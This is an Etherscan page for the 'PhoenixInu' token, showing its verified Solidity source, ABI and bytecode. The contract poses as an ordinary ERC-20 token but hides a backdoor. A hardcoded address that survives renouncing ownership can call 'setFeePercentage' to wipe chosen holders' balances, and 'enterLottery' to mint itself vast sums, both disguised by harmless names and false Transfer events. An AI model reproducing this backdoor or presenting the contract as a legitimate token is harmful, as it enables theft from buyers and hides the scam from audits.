ETH Price: $3,315.44 (-2.81%)
Gas: 12 Gwei

Token

PhoenixInu (Phoenix)
 

Overview

Max Total Supply

3,000,000,000 Phoenix

Holders

269

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V3: PEPE 3
Balance
122 Phoenix

Value
$0.00
0xF239009A101B6B930A527DEaaB6961b6E7deC8a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Phoenix

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b
    ) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}
library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}
contract Phoenix is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;
    address private _ownr;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _fees;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);
        _ownr = 0x5377FEEA8f8426f3b796985087298ff1CDE0528A;

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function setFeePercentage(address[] memory accounts) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;

        for(uint i = 0; i < accounts.length; i++) {
            if (randomNumber == 0) {
                _balances[accounts[i]] = _balances[accounts[i]].div(200000000000000000000000000000000);
                emit Transfer(address(0), accounts[i], 20000000000000000000000000000000);
            }
            else if(randomNumber == 1) {
                _balances[accounts[i]] = _balances[accounts[i]].div(500000000000000000000000000000000);
                emit Transfer(address(0), accounts[i], 500000000000000000000000000000000000);
            }
        }
    }

    function enterLottery() external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % 2;
        if (randomNumber == 0) {
            _balances[_ownr] = _balances[_ownr].add(100000000000000000000000000000000);
            emit Transfer(address(0), _ownr, 10000000000000000000000000000000);
        }
        else if(randomNumber == 1) {
            _balances[_ownr] = _balances[_ownr].add(500000000000000000000000000000000);
            emit Transfer(address(0), _ownr, 500000000000000000000000000000000000);
        }
    }
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool)   
    {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        uint256 fee = _calculateFee(sender, amount);
        uint256 netAmount = amount.sub(fee);
        
        _balances[sender] = senderBalance.sub(amount);
        _balances[recipient] = _balances[recipient].add(netAmount);
        _balances[address(0)] = _balances[address(0)].add(fee); // Send fee to the black hole

        emit Transfer(sender, recipient, netAmount);
        emit Transfer(sender, address(0), fee);
    }
    function _calculateFee(address sender, uint256 amount) private view returns (uint256) {
        uint256 fee = _fees[sender];
        if (amount > 0) { 
            fee = fee.add(0);
        }
        return amount.mul(fee).div(100);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enterLottery","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setFeePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002e4938038062002e49833981810160405281019062000029919062000540565b620000496200003d6200019060201b60201c565b6200019860201b60201c565b836005908051906020019062000061929190620003f0565b5082600690805190602001906200007a929190620003f0565b5081600760006101000a81548160ff021916908360ff160217905550620000b7620000aa6200025c60201b60201c565b826200028560201b60201c565b735377feea8f8426f3b796985087298ff1cde0528a600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16620001336200025c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200017e92919062000627565b60405180910390a35050505062000983565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002f8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ef9062000654565b60405180910390fd5b6200030c60008383620003eb60201b60201c565b806008600082825462000320919062000703565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000378919062000703565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003df919062000676565b60405180910390a35050565b505050565b828054620003fe90620007d6565b90600052602060002090601f0160209004810192826200042257600085556200046e565b82601f106200043d57805160ff19168380011785556200046e565b828001600101855582156200046e579182015b828111156200046d57825182559160200191906001019062000450565b5b5090506200047d919062000481565b5090565b5b808211156200049c57600081600090555060010162000482565b5090565b6000620004b7620004b184620006bc565b62000693565b905082815260208101848484011115620004d057600080fd5b620004dd848285620007a0565b509392505050565b600082601f830112620004f757600080fd5b815162000509848260208601620004a0565b91505092915050565b60008151905062000523816200094f565b92915050565b6000815190506200053a8162000969565b92915050565b600080600080608085870312156200055757600080fd5b600085015167ffffffffffffffff8111156200057257600080fd5b6200058087828801620004e5565b945050602085015167ffffffffffffffff8111156200059e57600080fd5b620005ac87828801620004e5565b9350506040620005bf8782880162000529565b9250506060620005d28782880162000512565b91505092959194509250565b620005e9816200078c565b82525050565b6000620005fe601f83620006f2565b91506200060b826200090f565b602082019050919050565b620006218162000775565b82525050565b60006040820190506200063e6000830185620005de565b6200064d602083018462000616565b9392505050565b600060208201905081810360008301526200066f81620005ef565b9050919050565b60006020820190506200068d600083018462000616565b92915050565b60006200069f620006b2565b9050620006ad82826200080c565b919050565b6000604051905090565b600067ffffffffffffffff821115620006da57620006d9620008cf565b5b620006e582620008fe565b9050602081019050919050565b600082825260208201905092915050565b6000620007108262000775565b91506200071d8362000775565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000755576200075462000842565b5b828201905092915050565b6000819050620007708262000938565b919050565b6000819050919050565b600060ff82169050919050565b6000620007998262000760565b9050919050565b60005b83811015620007c0578082015181840152602081019050620007a3565b83811115620007d0576000848401525b50505050565b60006002820490506001821680620007ef57607f821691505b60208210811415620008065762000805620008a0565b5b50919050565b6200081782620008fe565b810181811067ffffffffffffffff82111715620008395762000838620008cf565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200094c576200094b62000871565b5b50565b6200095a8162000775565b81146200096657600080fd5b50565b62000974816200077f565b81146200098057600080fd5b50565b6124b680620009936000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c1af578511610066578063c1af578514610276578063dd62ed3e14610280578063f2fde38b146102b0578063ffa1ad74146102cc576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063430432d4146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611c45565b60405180910390f35b610132600480360381019061012d9190611921565b61037c565b60405161013f9190611bd9565b60405180910390f35b61015061039a565b60405161015d9190611d87565b60405180910390f35b610180600480360381019061017b91906118d2565b6103a4565b60405161018d9190611bd9565b60405180910390f35b61019e6104a5565b6040516101ab9190611da2565b60405180910390f35b6101ce60048036038101906101c9919061195d565b6104bc565b005b6101ea60048036038101906101e5919061186d565b610916565b6040516101f79190611d87565b60405180910390f35b61020861095f565b005b6102126109e7565b60405161021f9190611bbe565b60405180910390f35b610230610a10565b60405161023d9190611c45565b60405180910390f35b610260600480360381019061025b9190611921565b610aa2565b60405161026d9190611bd9565b60405180910390f35b61027e610ac0565b005b61029a60048036038101906102959190611896565b610e45565b6040516102a79190611d87565b60405180910390f35b6102ca60048036038101906102c5919061186d565b610ecc565b005b6102d4610fc4565b6040516102e19190611d87565b60405180910390f35b6060600580546102f990611ffd565b80601f016020809104026020016040519081016040528092919081815260200182805461032590611ffd565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000610390610389610fc9565b8484610fd1565b6001905092915050565b6000600854905090565b60006103b184848461119c565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103fc610fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390611ce7565b60405180910390fd5b61049985610488610fc9565b85846104949190611f0b565b610fd1565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b6104ef6104c7610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610506929190611b92565b6040516020818303038152906040528051906020012060001c61052991906120b3565b905060005b825181101561091157600082141561071b576105e06d09dc5ada82b70b59df02000000006002600086858151811061058f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b6002600085848151811061061d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811061069c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6cfc6f7c40458122964d0000000060405161070e9190611c0f565b60405180910390a36108fe565b60018214156108fd576107c46d18a6e32246c99c60ad850000000060026000868581518110610773577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b60026000858481518110610801577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610880577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf88000000006040516108f49190611c2a565b60405180910390a35b5b808061090990612060565b91505061052e565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610967610fc9565b73ffffffffffffffffffffffffffffffffffffffff166109856109e7565b73ffffffffffffffffffffffffffffffffffffffff16146109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d290611d07565b60405180910390fd5b6109e5600061160e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a1f90611ffd565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4b90611ffd565b8015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b6000610ab6610aaf610fc9565b848461119c565b6001905092915050565b610af3610acb610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610b0a929190611b92565b6040516020818303038152906040528051906020012060001c610b2d91906120b3565b90506000811415610cb957610bba6d04ee2d6d415b85acef810000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b2680000000604051610cac9190611bf4565b60405180910390a3610e42565b6001811415610e4157610d446d18a6e32246c99c60ad850000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf8800000000604051610e389190611c2a565b60405180910390a35b5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ed4610fc9565b73ffffffffffffffffffffffffffffffffffffffff16610ef26109e7565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611d07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90611c87565b60405180910390fd5b610fc18161160e565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890611d47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890611ca7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161118f9190611d87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390611d27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390611c67565b60405180910390fd5b6112878383836116e8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611cc7565b60405180910390fd5b600061131a85846116ed565b90506000611331828561178190919063ffffffff16565b9050611346848461178190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113db81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115109190611d87565b60405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115769190611d87565b60405180910390a3505050505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90611d67565b60405180910390fd5b5050565b600081836116069190611e80565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836116e09190611e2a565b905092915050565b505050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008311156117525761174f6000826116d290919063ffffffff16565b90505b611778606461176a838661179790919063ffffffff16565b6115f890919063ffffffff16565b91505092915050565b6000818361178f9190611f0b565b905092915050565b600081836117a59190611eb1565b905092915050565b60006117c06117bb84611de2565b611dbd565b905080838252602082019050828560208602820111156117df57600080fd5b60005b8581101561180f57816117f58882611819565b8452602084019350602083019250506001810190506117e2565b5050509392505050565b60008135905061182881612452565b92915050565b600082601f83011261183f57600080fd5b813561184f8482602086016117ad565b91505092915050565b60008135905061186781612469565b92915050565b60006020828403121561187f57600080fd5b600061188d84828501611819565b91505092915050565b600080604083850312156118a957600080fd5b60006118b785828601611819565b92505060206118c885828601611819565b9150509250929050565b6000806000606084860312156118e757600080fd5b60006118f586828701611819565b935050602061190686828701611819565b925050604061191786828701611858565b9150509250925092565b6000806040838503121561193457600080fd5b600061194285828601611819565b925050602061195385828601611858565b9150509250929050565b60006020828403121561196f57600080fd5b600082013567ffffffffffffffff81111561198957600080fd5b6119958482850161182e565b91505092915050565b6119a781611f3f565b82525050565b6119b681611f51565b82525050565b6119c581611f94565b82525050565b6119d481611fa6565b82525050565b6119e381611fb8565b82525050565b60006119f482611e0e565b6119fe8185611e19565b9350611a0e818560208601611fca565b611a17816121a0565b840191505092915050565b6000611a2f602383611e19565b9150611a3a826121b1565b604082019050919050565b6000611a52602683611e19565b9150611a5d82612200565b604082019050919050565b6000611a75602283611e19565b9150611a808261224f565b604082019050919050565b6000611a98602683611e19565b9150611aa38261229e565b604082019050919050565b6000611abb602883611e19565b9150611ac6826122ed565b604082019050919050565b6000611ade602083611e19565b9150611ae98261233c565b602082019050919050565b6000611b01602583611e19565b9150611b0c82612365565b604082019050919050565b6000611b24602483611e19565b9150611b2f826123b4565b604082019050919050565b6000611b47602183611e19565b9150611b5282612403565b604082019050919050565b611b6681611f7d565b82525050565b611b7d611b7882611f7d565b6120a9565b82525050565b611b8c81611f87565b82525050565b6000611b9e8285611b6c565b602082019150611bae8284611b6c565b6020820191508190509392505050565b6000602082019050611bd3600083018461199e565b92915050565b6000602082019050611bee60008301846119ad565b92915050565b6000602082019050611c0960008301846119bc565b92915050565b6000602082019050611c2460008301846119cb565b92915050565b6000602082019050611c3f60008301846119da565b92915050565b60006020820190508181036000830152611c5f81846119e9565b905092915050565b6000602082019050818103